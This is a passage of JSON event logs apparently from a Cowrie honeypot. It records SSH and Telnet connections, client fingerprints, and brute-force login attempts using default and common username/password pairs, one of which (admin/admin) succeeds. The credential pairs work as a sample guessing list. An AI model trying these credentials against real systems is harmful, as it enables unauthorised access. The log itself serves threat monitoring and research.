":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:50.916943Z","src_ip":"43.156.227.3","session":"859a578b5778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"senha","message":"login attempt [root/senha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:51.932451Z","src_ip":"43.156.227.3","session":"859a578b5778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60720,"dst_ip":"159.203.135.109","dst_port":22,"session":"10e42af1004e","protocol":"ssh","message":"New connection: 103.27.238.116:60720 (159.203.135.109:22) [session: 10e42af1004e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:52.214710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:52.222048Z","src_ip":"103.27.238.116","session":"10e42af1004e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:52.482672Z","src_ip":"103.27.238.116","session":"10e42af1004e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.92449378967285,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:53.055521Z","src_ip":"152.42.224.71","session":"deda0aa85868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:53.180663Z","src_ip":"43.156.227.3","session":"859a578b5778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345abc","message":"login attempt [root/12345abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:53.266205Z","src_ip":"103.27.238.116","session":"10e42af1004e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:54.530261Z","src_ip":"103.27.238.116","session":"10e42af1004e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":43302,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2166423cd8e","protocol":"ssh","message":"New connection: 43.153.54.120:43302 (159.203.135.109:22) [session: a2166423cd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:58.062266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:58.067137Z","src_ip":"43.153.54.120","session":"a2166423cd8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:58.135572Z","src_ip":"43.153.54.120","session":"a2166423cd8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"infoadm","message":"login attempt [root/infoadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:58.439276Z","src_ip":"43.153.54.120","session":"a2166423cd8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45466,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dcc8395f7e8","protocol":"telnet","message":"New connection: 152.42.224.71:45466 (10.17.0.5:23) [session: 4dcc8395f7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:59.087564Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:59.510107Z","src_ip":"43.153.54.120","session":"a2166423cd8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45474,"dst_ip":"10.17.0.5","dst_port":23,"session":"231ff51ec40a","protocol":"telnet","message":"New connection: 152.42.224.71:45474 (10.17.0.5:23) [session: 231ff51ec40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:59.814587Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:06.036081Z","src_ip":"65.109.221.116","session":"c52850313b7b","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:06.089624Z","src_ip":"65.109.221.116","session":"c52850313b7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":57678,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3858404b63e","protocol":"ssh","message":"New connection: 119.28.115.94:57678 (159.203.135.109:22) [session: c3858404b63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:06.398463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:06.403801Z","src_ip":"119.28.115.94","session":"c3858404b63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:06.641240Z","src_ip":"119.28.115.94","session":"c3858404b63e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fujitsu","message":"login attempt [root/fujitsu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:07.622117Z","src_ip":"119.28.115.94","session":"c3858404b63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:08.862662Z","src_ip":"119.28.115.94","session":"c3858404b63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.38726830482483,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:08.981337Z","src_ip":"152.42.224.71","session":"e9edff5ad34d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":60181,"dst_ip":"159.203.135.109","dst_port":22,"session":"31a258c929b5","protocol":"ssh","message":"New connection: 193.46.255.86:60181 (159.203.135.109:22) [session: 31a258c929b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:09.153036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:09.158343Z","src_ip":"193.46.255.86","session":"31a258c929b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:09.283902Z","src_ip":"193.46.255.86","session":"31a258c929b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"admintelecom","message":"login attempt [telecomadmin/admintelecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:09.843205Z","src_ip":"193.46.255.86","session":"31a258c929b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"1234","message":"login attempt [telecomadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:10.969680Z","src_ip":"193.46.255.86","session":"31a258c929b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abc123","message":"login attempt [telecomadmin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:12.096566Z","src_ip":"193.46.255.86","session":"31a258c929b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":58162,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f1e42dd5a09","protocol":"ssh","message":"New connection: 147.45.211.215:58162 (10.17.0.5:22) [session: 1f1e42dd5a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:12.405527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:12.411192Z","src_ip":"147.45.211.215","session":"1f1e42dd5a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:12.590166Z","src_ip":"147.45.211.215","session":"1f1e42dd5a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55408,"dst_ip":"10.17.0.5","dst_port":23,"session":"872f12348d7e","protocol":"telnet","message":"New connection: 152.42.224.71:55408 (10.17.0.5:23) [session: 872f12348d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:13.050529Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"b123456","message":"login attempt [root/b123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:13.129840Z","src_ip":"147.45.211.215","session":"1f1e42dd5a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abcd123","message":"login attempt [telecomadmin/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:13.221437Z","src_ip":"193.46.255.86","session":"31a258c929b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:14.314352Z","src_ip":"147.45.211.215","session":"1f1e42dd5a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abcd1234","message":"login attempt [telecomadmin/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:14.349315Z","src_ip":"193.46.255.86","session":"31a258c929b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.49311184883118,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:14.363006Z","src_ip":"152.42.224.71","session":"810c6c9bc9a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:15.474580Z","src_ip":"193.46.255.86","session":"31a258c929b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.50173783302307,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:16.738434Z","src_ip":"152.42.224.71","session":"189b60c060e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":43012,"dst_ip":"159.203.135.109","dst_port":22,"session":"a97026384877","protocol":"ssh","message":"New connection: 94.230.136.33:43012 (159.203.135.109:22) [session: a97026384877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:17.618300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:17.623388Z","src_ip":"94.230.136.33","session":"a97026384877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:17.771026Z","src_ip":"94.230.136.33","session":"a97026384877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terry","message":"login attempt [root/terry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:18.390303Z","src_ip":"94.230.136.33","session":"a97026384877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:19.540599Z","src_ip":"94.230.136.33","session":"a97026384877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35258,"dst_ip":"10.17.0.5","dst_port":23,"session":"a24a28663fc0","protocol":"telnet","message":"New connection: 152.42.224.71:35258 (10.17.0.5:23) [session: a24a28663fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:22.202474Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":37876,"dst_ip":"159.203.135.109","dst_port":22,"session":"3adad6b29843","protocol":"ssh","message":"New connection: 43.134.228.151:37876 (159.203.135.109:22) [session: 3adad6b29843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:25.265855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:25.270990Z","src_ip":"43.134.228.151","session":"3adad6b29843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:25.517385Z","src_ip":"43.134.228.151","session":"3adad6b29843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq@123456789","message":"login attempt [root/Qq@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:26.533813Z","src_ip":"43.134.228.151","session":"3adad6b29843","protocol":"ssh"}
